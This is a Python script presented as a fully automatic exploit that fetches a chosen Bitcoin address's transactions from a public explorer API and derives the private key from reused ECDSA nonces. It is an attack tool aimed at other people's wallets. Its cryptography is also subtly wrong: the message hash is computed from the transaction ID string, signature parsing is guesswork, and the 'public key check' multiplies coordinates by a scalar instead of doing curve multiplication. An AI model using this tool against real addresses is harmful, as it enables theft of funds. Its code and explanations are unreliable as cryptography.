Turtle-Exploit.py

import hashlib
import requests

# Elliptic Curve Parameters (secp256k1 - Bitcoin Standard)
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F  # Prime field
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141  # Order of the group
Gx = 55066263022277343669578718895168534326250603453777594175500187360389116729240  # Generator x
Gy = 32670510020758816978083085130507043184471273380659243275938904335757337424483  # Generator y

def modular_inverse(a, n):
    """Compute the modular inverse of a modulo n."""
    return pow(a, -1, n)

def get_transactions(address):
    """
    Fetch transaction details for a given Bitcoin address.
    This uses a public blockchain explorer API (Blockcypher).
    """
    print(f"Fetching transactions for address: {address}")
    url = f"https://api.blockcypher.com/v1/btc/main/addrs/{address}/full"
    response = requests.get(url)
    if response.status_code == 200:
        return response.json()["txs"]
    else:
        raise ValueError(f"Error fetching transactions: {response.status_code} {response.text}")

def extract_signatures(transactions):
    """
    Extract (r, s, z) values from transactions.
    """
    signatures = []
    for tx in transactions:
        # Check if the transaction has inputs with signatures
        for inp in tx.get("inputs", []):
            script = inp.get("script", "")
            if script:
                # Extract r, s, z values from scriptSig (example parsing)
                try:
                    r, s = extract_r_s_from_script(script)
                    z = int(hashlib.sha256(tx["hash"].encode()).hexdigest(), 16)  # Hash of transaction as z
                    signatures.append((r, s, z))
                except Exception as e:
                    print(f"Error extracting signature from script: {e}")
    return signatures

def extract_r_s_from_script(script):
    """
    Parse the scriptSig to extract r and s values.
    """
    # Example parsing logic (to be adjusted for specific script format)
    parts = script.split(" ")
    r = int(parts[1], 16)  # Assuming 2nd part is r
    s = int(parts[2], 16)  # Assuming 3rd part is s
    return r, s

def exploit_r_s_z(signatures):
    """
    Exploit the R/S/Z vulnerability to derive the private key.
    """
    for i in range(len(signatures)):
        for j in range(i + 1, len(signatures)):
            r1, s1, z1 = signatures[i]
            r2, s2, z2 = signatures[j]
            if r1 == r2:  # Check if 'r' is reused
                print(f"Reused r detected: {r1}")
                # Step 1: Calculate nonce k
                k = ((z1 - z2) * modular_inverse(s1 - s2, n)) % n
                print(f"Derived Nonce (k): {k}")

                # Step 2: Calculate private key x
                x = ((s1 * k - z1) * modular_inverse(r1, n)) % n
                print(f"Derived Private Key (x): {x}")

                # Step 3: Verify private key
                P_x = (Gx * x) % p
                P_y = (Gy * x) % p
                print(f"Regenerated Public Key (P = xG): ({P_x}, {P_y})")

                return x
    raise ValueError("No reused r values found in the provided signatures.")

# Main function
if __name__ == "__main__":
    print("=== Fully Automatic Bitcoin R/S/Z Exploit ===")
    address = input("Enter the Bitcoin address: ")

    try:
        # Step 1: Fetch transactions
        transactions = get_transactions(address)

        # Step 2: Extract signatures (r, s, z) from transactions
        signatures = extract_signatures(transactions)
        print(f"Extracted Signatures: {signatures}")

        # Step 3: Exploit R/S/Z vulnerability
        private_key = exploit_r_s_z(signatures)

        print(f"\nFinal Derived Private Key: {private_key}")
    except Exception as e:
        print(f"Error: {e}")